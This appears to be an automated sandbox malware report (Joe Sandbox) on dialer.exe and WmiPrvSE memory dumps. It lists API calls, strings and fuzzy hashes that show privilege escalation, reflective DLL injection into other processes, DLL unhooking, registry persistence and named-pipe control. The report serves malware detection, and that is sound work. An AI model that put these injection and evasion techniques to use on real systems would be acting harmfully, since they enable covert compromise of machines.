Instruction Fuzzy Hash: E441C332314A8096DF60EF65E8493E977A5F399794F814121EE4D87B88DF3CC502CB40

Function 00000224644694A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000224644694F0
RaiseException.KERNEL32 ref: 0000022464469531

Strings

csm, xrefs: 000002246446951E

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: 5ee0dbaa7f8877b56d6d057551c15bb3b376b9692e8a543f8685826078187e38
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 46115B32204B8092EF609F15E404369B7E9F789B94F984221EE8C07B58DF3DC552CB00

Function 0000022464437356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000002246443737C

Strings

ierarchy Descriptor', xrefs: 0000022464437381
riptor at (, xrefs: 0000022464437364

Memory Dump Source

Source File: 00000013.00000002.3366797216.0000022464430000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022464430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464430000_WmiPrvSE.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 63643cc6e4e168e267e480a2cd99b37b85a2344724b3ad36efaeaf1145560883
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 1DE0CD61640B48E0DF129FA2E8452E873A5DB59B68FC8D122DE5C47315FB38D1F9C300

Function 00000224644373B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000224644373D8

Strings

Locator', xrefs: 00000224644373DD
riptor at (, xrefs: 00000224644373C0

Memory Dump Source

Source File: 00000013.00000002.3366797216.0000022464430000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000022464430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464430000_WmiPrvSE.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 53c2d33325c437db864b7018e114f8be9fe59a8d7d9e1f122f0cf5b346041f0f
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: B3E0CD61610F44E0DF129FA2E8411A8B3A5E759B58FC8D122DE4C47315FB38D1E5C300

Function 0000022464461BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000022464461C2D
HeapAlloc.KERNEL32 ref: 0000022464461C3B
GetProcessHeap.KERNEL32 ref: 0000022464461C77
HeapFree.KERNEL32 ref: 0000022464461C85

Part of subcall function 000002246446152C: StrCmpIW.SHLWAPI ref: 000002246446155D

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 00a8346c149fd4590b529019f11cb06ad624b2d06a5e2815b01bdeb554bc0839
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: 9B119125701B4495EFA4EFA6A40E2397BA9FB8AFD1F985024DE4D43B69DF38C442D700

Function 0000022464461268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002246446126E
HeapAlloc.KERNEL32 ref: 000002246446127D
GetProcessHeap.KERNEL32 ref: 0000022464461297
HeapAlloc.KERNEL32 ref: 00000224644612A8

Memory Dump Source

Source File: 00000013.00000002.3366872392.0000022464460000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022464460000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_22464460000_WmiPrvSE.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: c19dc6429dddcfcbbfd4e432c60524220bcaea6a7a6c5f8a103f0b70d58d5429
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 1BE06D3560160486EB14AFA2D80D36A37E6FB8AFA6F84D024C90907755DF7D889AC750

Analysis Process: dialer.exePID: 2748, Parent PID: 3352COMMON

Execution Graph

Execution Coverage:	46.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	38.1%
Total number of Nodes:	226
Total number of Limit Nodes:	22

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 000000014000226C Relevance: 61.4, APIs: 27, Strings: 8, Instructions: 165
registrymemorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001F2C: StrCpyW.SHLWAPI ref: 0000000140001F5D
Part of subcall function 0000000140001F2C: StrCatW.SHLWAPI ref: 0000000140001F6B
Part of subcall function 0000000140001F2C: GetModuleHandleW.KERNEL32 ref: 0000000140001F74
Part of subcall function 0000000140001F2C: GetCurrentProcess.KERNEL32 ref: 0000000140001F94
Part of subcall function 0000000140001F2C: K32GetModuleInformation.KERNEL32 ref: 0000000140001FA8
Part of subcall function 0000000140001F2C: CreateFileW.KERNELBASE ref: 0000000140001FD8
Part of subcall function 0000000140001F2C: CreateFileMappingW.KERNELBASE ref: 0000000140002002
Part of subcall function 0000000140001F2C: MapViewOfFile.KERNELBASE ref: 0000000140002025
Part of subcall function 0000000140001F2C: lstrcmpiA.KERNEL32 ref: 000000014000207B
Part of subcall function 0000000140001F2C: CloseHandle.KERNELBASE ref: 00000001400020E7
Part of subcall function 0000000140001F2C: CloseHandle.KERNEL32 ref: 00000001400020F0
Part of subcall function 0000000140001F2C: FreeLibrary.KERNEL32 ref: 00000001400020F9

Part of subcall function 0000000140001F2C: VirtualProtect.KERNELBASE ref: 00000001400020AE
Part of subcall function 0000000140001F2C: VirtualProtect.KERNELBASE ref: 00000001400020DE

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000228F
OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000229F
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 00000001400022B9
LookupPrivilegeValueW.ADVAPI32 ref: 00000001400022D0
AdjustTokenPrivileges.KERNELBASE ref: 0000000140002308
GetLastError.KERNEL32 ref: 0000000140002312
CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000231B
FindResourceExA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000232F
SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002346
LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000235F
LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002371
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000237E
RegCreateKeyExW.KERNELBASE ref: 00000001400023BE
ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00000001400023E5
RegSetKeySecurity.KERNELBASE ref: 00000001400023FE
LocalFree.KERNEL32 ref: 0000000140002408
RegCreateKeyExW.KERNELBASE ref: 000000014000243E
GetCurrentProcessId.KERNEL32 ref: 0000000140002448
RegSetValueExW.KERNELBASE ref: 000000014000246F
RegCloseKey.KERNELBASE ref: 0000000140002479
RegCloseKey.ADVAPI32 ref: 0000000140002483
CreateThread.KERNELBASE ref: 00000001400024A4
GetProcessHeap.KERNEL32 ref: 00000001400024AA
HeapAlloc.KERNEL32 ref: 00000001400024B9
CreateThread.KERNELBASE ref: 00000001400024E8
CreateThread.KERNELBASE ref: 0000000140002509
SleepEx.KERNELBASE ref: 0000000140002511

Strings

kernel32.dll, xrefs: 0000000140002283
svc64, xrefs: 0000000140002452
DLL, xrefs: 0000000140002321
D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA), xrefs: 00000001400023DE
SeDebugPrivilege, xrefs: 00000001400022C9
ntdll.dll, xrefs: 0000000140002277
pid, xrefs: 000000014000241B
SOFTWARE\dialerconfig, xrefs: 0000000140002399

Memory Dump Source

Source File: 00000031.00000002.3432798138.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000031.00000002.3432668902.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000031.00000002.3432900440.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000031.00000002.3433014237.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_140000000_dialer.jbxd

Similarity

API ID: CreateProcess$Close$CurrentHandleResource$FileSecurityThread$DescriptorFreeHeapModuleOpenProtectTokenValueVirtual$AdjustAllocConvertErrorFindInformationLastLibraryLoadLocalLockLookupMappingPrivilegePrivilegesSizeofSleepStringViewlstrcmpi
String ID: D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)$DLL$SOFTWARE\dialerconfig$SeDebugPrivilege$kernel32.dll$ntdll.dll$pid$svc64
API String ID: 4177739653-1130149537
Opcode ID: d90b24f95a95c841a2e029a5b4d6274d008a65fb61feaf57b7d2a555975f1ca1
Instruction ID: c2e61514e361dd61edc66d1a85693de1d2c237bf329a5b31df93bef4cff25afe
Opcode Fuzzy Hash: d90b24f95a95c841a2e029a5b4d6274d008a65fb61feaf57b7d2a555975f1ca1
Instruction Fuzzy Hash: B781E4B6200B4196EB26CF62F8547D977A9F78CBD8F44512AEB4A43A78DF38C148C740

Function 00000001400010C0 Relevance: 51.0, APIs: 25, Strings: 4, Instructions: 257
memorystringnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000001400018AC: OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
Part of subcall function 00000001400018AC: IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
Part of subcall function 00000001400018AC: CloseHandle.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

OpenProcess.KERNEL32 ref: 000000014000112C
OpenProcess.KERNEL32 ref: 000000014000114B
K32GetModuleFileNameExW.KERNEL32 ref: 0000000140001170
PathFindFileNameW.SHLWAPI ref: 000000014000117E
lstrlenW.KERNEL32 ref: 000000014000118A
StrCpyW.SHLWAPI ref: 00000001400011A1
CloseHandle.KERNEL32 ref: 00000001400011AD
StrCmpIW.SHLWAPI ref: 00000001400011E2
NtQueryInformationProcess.NTDLL ref: 0000000140001216
OpenProcessToken.ADVAPI32 ref: 0000000140001240
GetTokenInformation.KERNELBASE ref: 000000014000126C
GetLastError.KERNEL32 ref: 0000000140001276
LocalAlloc.KERNEL32 ref: 0000000140001289
GetTokenInformation.KERNELBASE ref: 00000001400012B5
GetSidSubAuthorityCount.ADVAPI32 ref: 00000001400012C2
GetSidSubAuthority.ADVAPI32 ref: 00000001400012D1
LocalFree.KERNEL32 ref: 00000001400012E9
CloseHandle.KERNEL32 ref: 00000001400012FD
StrStrA.SHLWAPI ref: 00000001400013A7
VirtualAllocEx.KERNELBASE ref: 000000014000140E
WriteProcessMemory.KERNELBASE ref: 0000000140001431
WaitForSingleObject.KERNEL32 ref: 000000014000147D
GetExitCodeThread.KERNEL32 ref: 0000000140001493
CloseHandle.KERNELBASE ref: 00000001400014AB
CloseHandle.KERNEL32 ref: 00000001400014B4

Strings

@, xrefs: 0000000140001401
MSBuild.exe, xrefs: 00000001400011B8
ReflectiveDllMain, xrefs: 000000014000139D
dialer.exe, xrefs: 00000001400011CC

Memory Dump Source

Source File: 00000031.00000002.3432798138.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000031.00000002.3432668902.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000031.00000002.3432900440.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000031.00000002.3433014237.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_140000000_dialer.jbxd

Similarity

API ID: Process$CloseHandle$Open$InformationToken$AllocAuthorityFileLocalName$CodeCountErrorExitFindFreeLastMemoryModuleObjectPathQuerySingleThreadVirtualWaitWow64Writelstrlen
String ID: @$MSBuild.exe$ReflectiveDllMain$dialer.exe
API String ID: 2561231171-3753927220
Opcode ID: 0577da8a6dab89cee6e9ad54b472e69925a8a9fa9a84297e512ce95199d2773e
Instruction ID: 2175fd9260984ecd3e092ef955109d5d50fbfcc0bf213717558b1eb8b1c9701c
Opcode Fuzzy Hash: 0577da8a6dab89cee6e9ad54b472e69925a8a9fa9a84297e512ce95199d2773e
Instruction Fuzzy Hash: 40B138B260468186EB26DF27F8947E927A9FB8CBC4F404125AF4A477B4EF38C645C740

Function 00000001400014D8 Relevance: 19.6, APIs: 13, Instructions: 130
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000000014000150B
HeapAlloc.KERNEL32 ref: 000000014000151E
GetProcessHeap.KERNEL32 ref: 000000014000152C
HeapAlloc.KERNEL32 ref: 000000014000153D
K32EnumProcesses.KERNEL32 ref: 0000000140001557
OpenProcess.KERNEL32 ref: 0000000140001585
K32EnumProcessModules.KERNEL32 ref: 00000001400015AA
ReadProcessMemory.KERNELBASE ref: 00000001400015E1
CloseHandle.KERNELBASE ref: 000000014000161D
GetProcessHeap.KERNEL32 ref: 000000014000162F
RtlFreeHeap.NTDLL ref: 000000014000163D
GetProcessHeap.KERNEL32 ref: 0000000140001643
RtlFreeHeap.NTDLL ref: 0000000140001651

Memory Dump Source

Source File: 00000031.00000002.3432798138.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000031.00000002.3432668902.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000031.00000002.3432900440.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000031.00000002.3433014237.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_140000000_dialer.jbxd

Similarity

API ID: Heap$Process$AllocEnumFree$CloseHandleMemoryModulesOpenProcessesRead
String ID:
API String ID: 4084875642-0
Opcode ID: 3ba232721d1513b5cedada72c6e24bd118260bd52d62463099d565cdd5ea385d
Instruction ID: 4858e5a3d965c592fcd1f5951e26bd94c88d4916acf90710a0b336d1aa1e032e
Opcode Fuzzy Hash: 3ba232721d1513b5cedada72c6e24bd118260bd52d62463099d565cdd5ea385d
Instruction Fuzzy Hash: E6519DB2711A819AEB66CF63E8587EA22A5F78DBC4F444025EF4947764DF38C545C700

Function 0000000140001B54 Relevance: 9.1, APIs: 6, Instructions: 82
memorypipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
LocalAlloc.KERNEL32 ref: 0000000140001BFB
InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Memory Dump Source

Source File: 00000031.00000002.3432798138.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000031.00000002.3432668902.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000031.00000002.3432900440.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000031.00000002.3433014237.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_140000000_dialer.jbxd

Similarity

API ID: DescriptorInitializeSecurity$AllocAllocateCreateDaclEntriesLocalNamedPipe
String ID:
API String ID: 3197395349-0
Opcode ID: 488be1c38cf594ed0d3f6a94cbc7f0150440055c9cb1e58666deddfd8d25be8b
Instruction ID: 21eaad2a8fcaa81d39f01622d1c01d05a8059e075f91819b3ade9b41c51f013a
Opcode Fuzzy Hash: 488be1c38cf594ed0d3f6a94cbc7f0150440055c9cb1e58666deddfd8d25be8b
Instruction Fuzzy Hash: FA318D72215691CAE761CF25F490BDE77A5F748B98F40521AFB4947FA8EB78C208CB40

Function 0000000140001F2C Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 124
filememorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCpyW.SHLWAPI ref: 0000000140001F5D
StrCatW.SHLWAPI ref: 0000000140001F6B
GetModuleHandleW.KERNEL32 ref: 0000000140001F74
GetCurrentProcess.KERNEL32 ref: 0000000140001F94
K32GetModuleInformation.KERNEL32 ref: 0000000140001FA8
CreateFileW.KERNELBASE ref: 0000000140001FD8
CreateFileMappingW.KERNELBASE ref: 0000000140002002
MapViewOfFile.KERNELBASE ref: 0000000140002025
lstrcmpiA.KERNEL32 ref: 000000014000207B
VirtualProtect.KERNELBASE ref: 00000001400020AE
VirtualProtect.KERNELBASE ref: 00000001400020DE
CloseHandle.KERNELBASE ref: 00000001400020E7
CloseHandle.KERNEL32 ref: 00000001400020F0
FreeLibrary.KERNEL32 ref: 00000001400020F9

Strings

.text, xrefs: 0000000140002074
C:\Windows\System32\, xrefs: 0000000140001F4F

Memory Dump Source

Source File: 00000031.00000002.3432798138.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000031.00000002.3432668902.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000031.00000002.3432900440.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000031.00000002.3433014237.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_140000000_dialer.jbxd

Similarity

API ID: FileHandle$CloseCreateModuleProtectVirtual$CurrentFreeInformationLibraryMappingProcessViewlstrcmpi
String ID: .text$C:\Windows\System32\
API String ID: 2721474350-832442975
Opcode ID: ea51ffa9aeaeb0e2cf226d8574d2fabd87300f6e212f2c78447215b36c46b769
Instruction ID: 0b364bd3c89a37fdd3fa7b369e4888cbeb1e5b170dc00cf86e963973e9165d3d
Opcode Fuzzy Hash: ea51ffa9aeaeb0e2cf226d8574d2fabd87300f6e212f2c78447215b36c46b769
Instruction Fuzzy Hash: CC518BB2204B8096EB62CF16F8587DAB3A5F78CBD4F444525AF4A03B68DF38C549C700

Function 0000000140002BF8 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 40
sleepfilepipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001B54: AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
Part of subcall function 0000000140001B54: SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
Part of subcall function 0000000140001B54: LocalAlloc.KERNEL32 ref: 0000000140001BFB
Part of subcall function 0000000140001B54: InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
Part of subcall function 0000000140001B54: SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
Part of subcall function 0000000140001B54: CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Sleep.KERNEL32 ref: 0000000140002C1D
ConnectNamedPipe.KERNELBASE ref: 0000000140002C2A
ReadFile.KERNEL32 ref: 0000000140002C4D
WriteFile.KERNEL32 ref: 0000000140002C7B
Sleep.KERNEL32 ref: 0000000140002C88
DisconnectNamedPipe.KERNEL32 ref: 0000000140002C91

Strings

\\.\pipe\dialerchildproc64, xrefs: 0000000140002C05
M, xrefs: 0000000140002C6E

Memory Dump Source

Source File: 00000031.00000002.3432798138.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000031.00000002.3432668902.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000031.00000002.3432900440.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000031.00000002.3433014237.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_140000000_dialer.jbxd

Similarity

API ID: NamedPipe$DescriptorFileInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesLocalReadWrite
String ID: M$\\.\pipe\dialerchildproc64
API String ID: 2203880229-3489460547
Opcode ID: cb78decc689e444f168c8ecd1fa7ab696948f8a3ff5b9be1a13ae3c23ba91d6c
Instruction ID: 6dc3dc8c0bd617ca7cbe615ebfcb02ed857a87361961821bc60a1768ee808972
Opcode Fuzzy Hash: cb78decc689e444f168c8ecd1fa7ab696948f8a3ff5b9be1a13ae3c23ba91d6c
Instruction Fuzzy Hash: C01139B1218A8492F716DB22F8047EE6764A78DBE0F444225BB66036F4DF7CC548C700

Function 00000001400021D0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36
sleeppipefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001B54: AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
Part of subcall function 0000000140001B54: SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
Part of subcall function 0000000140001B54: LocalAlloc.KERNEL32 ref: 0000000140001BFB
Part of subcall function 0000000140001B54: InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
Part of subcall function 0000000140001B54: SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
Part of subcall function 0000000140001B54: CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Sleep.KERNEL32 ref: 00000001400021F5
ConnectNamedPipe.KERNELBASE ref: 0000000140002202
ReadFile.KERNEL32 ref: 0000000140002225
Sleep.KERNEL32 ref: 0000000140002246
DisconnectNamedPipe.KERNEL32 ref: 000000014000224F

Strings

\\.\pipe\dialercontrol_redirect64, xrefs: 00000001400021DD

Memory Dump Source

Source File: 00000031.00000002.3432798138.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000031.00000002.3432668902.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000031.00000002.3432900440.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000031.00000002.3433014237.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_140000000_dialer.jbxd

Similarity

API ID: NamedPipe$DescriptorInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesFileLocalRead
String ID: \\.\pipe\dialercontrol_redirect64
API String ID: 2071455217-3440882674
Opcode ID: 0eadeefac485689016ee7cb8901f6413b977b23d4cbf2cacf1e5db6f82192be8
Instruction ID: d66e41e89491d3fe39127ed5f8ff24c46c9ecc4af95d447005e5476a51c55f6d
Opcode Fuzzy Hash: 0eadeefac485689016ee7cb8901f6413b977b23d4cbf2cacf1e5db6f82192be8
Instruction Fuzzy Hash: 42014BB1204A40A2EA17EB63F8443E9B365A79DBE0F144235FB66476F4DF78C488C700

Function 0000000140002B38 Relevance: 9.1, APIs: 6, Instructions: 58
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000000140002B53
HeapAlloc.KERNEL32 ref: 0000000140002B67
GetProcessHeap.KERNEL32 ref: 0000000140002B70
HeapAlloc.KERNEL32 ref: 0000000140002B7E
K32EnumProcesses.KERNEL32 ref: 0000000140002B99
SleepEx.KERNELBASE ref: 0000000140002BEE

Memory Dump Source

Source File: 00000031.00000002.3432798138.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000031.00000002.3432668902.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000031.00000002.3432900440.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000031.00000002.3433014237.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_140000000_dialer.jbxd

Similarity

API ID: Heap$AllocProcess$EnumProcessesSleep
String ID:
API String ID: 3676546796-0
Opcode ID: 8f13c2487408d17cabd0d6010e800d760c40d8336c2ba260ca50616313c4bb70
Instruction ID: 9c67988e037e7d22bad9650836966df18df348572cafe7f0e6f30b42da554bff
Opcode Fuzzy Hash: 8f13c2487408d17cabd0d6010e800d760c40d8336c2ba260ca50616313c4bb70
Instruction Fuzzy Hash: 3A115CB26006518AE72ACF17F85579A77A6F78DBC1F154028EB4607B68CF39D881CB40

Function 00000001400017EC Relevance: 9.1, APIs: 6, Instructions: 55
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(?,00000000,?,000000014000238B,?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140001801
HeapAlloc.KERNEL32(?,00000000,?,000000014000238B,?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140001812

Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000150B
Part of subcall function 00000001400014D8: HeapAlloc.KERNEL32 ref: 000000014000151E
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000152C
Part of subcall function 00000001400014D8: HeapAlloc.KERNEL32 ref: 000000014000153D
Part of subcall function 00000001400014D8: K32EnumProcesses.KERNEL32 ref: 0000000140001557
Part of subcall function 00000001400014D8: OpenProcess.KERNEL32 ref: 0000000140001585
Part of subcall function 00000001400014D8: K32EnumProcessModules.KERNEL32 ref: 00000001400015AA
Part of subcall function 00000001400014D8: ReadProcessMemory.KERNELBASE ref: 00000001400015E1
Part of subcall function 00000001400014D8: CloseHandle.KERNELBASE ref: 000000014000161D
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000162F
Part of subcall function 00000001400014D8: RtlFreeHeap.NTDLL ref: 000000014000163D
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 0000000140001643
Part of subcall function 00000001400014D8: RtlFreeHeap.NTDLL ref: 0000000140001651

OpenProcess.KERNEL32 ref: 0000000140001859
TerminateProcess.KERNEL32 ref: 000000014000186C
CloseHandle.KERNEL32 ref: 0000000140001875
GetProcessHeap.KERNEL32 ref: 0000000140001885

Memory Dump Source

Source File: 00000031.00000002.3432798138.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000031.00000002.3432668902.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000031.00000002.3432900440.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000031.00000002.3433014237.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_140000000_dialer.jbxd

Similarity

API ID: HeapProcess$Alloc$CloseEnumFreeHandleOpen$MemoryModulesProcessesReadTerminate
String ID:
API String ID: 1323846700-0
Opcode ID: 292de27f87d02887c134cd68883e15ba7f6a186f84d3e8f804eb1f1d2b0452f5
Instruction ID: e8e8f15008253283e0d5a10c8ea57e573901c1344bffe788f1ea91b5e390c365
Opcode Fuzzy Hash: 292de27f87d02887c134cd68883e15ba7f6a186f84d3e8f804eb1f1d2b0452f5
Instruction Fuzzy Hash: C8115BB1B05A4186FB1ADF27F8443D966A6ABCDBC4F188038EF09037B5DE38C5868700

Function 00000001400018AC Relevance: 4.5, APIs: 3, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
CloseHandle.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

Memory Dump Source

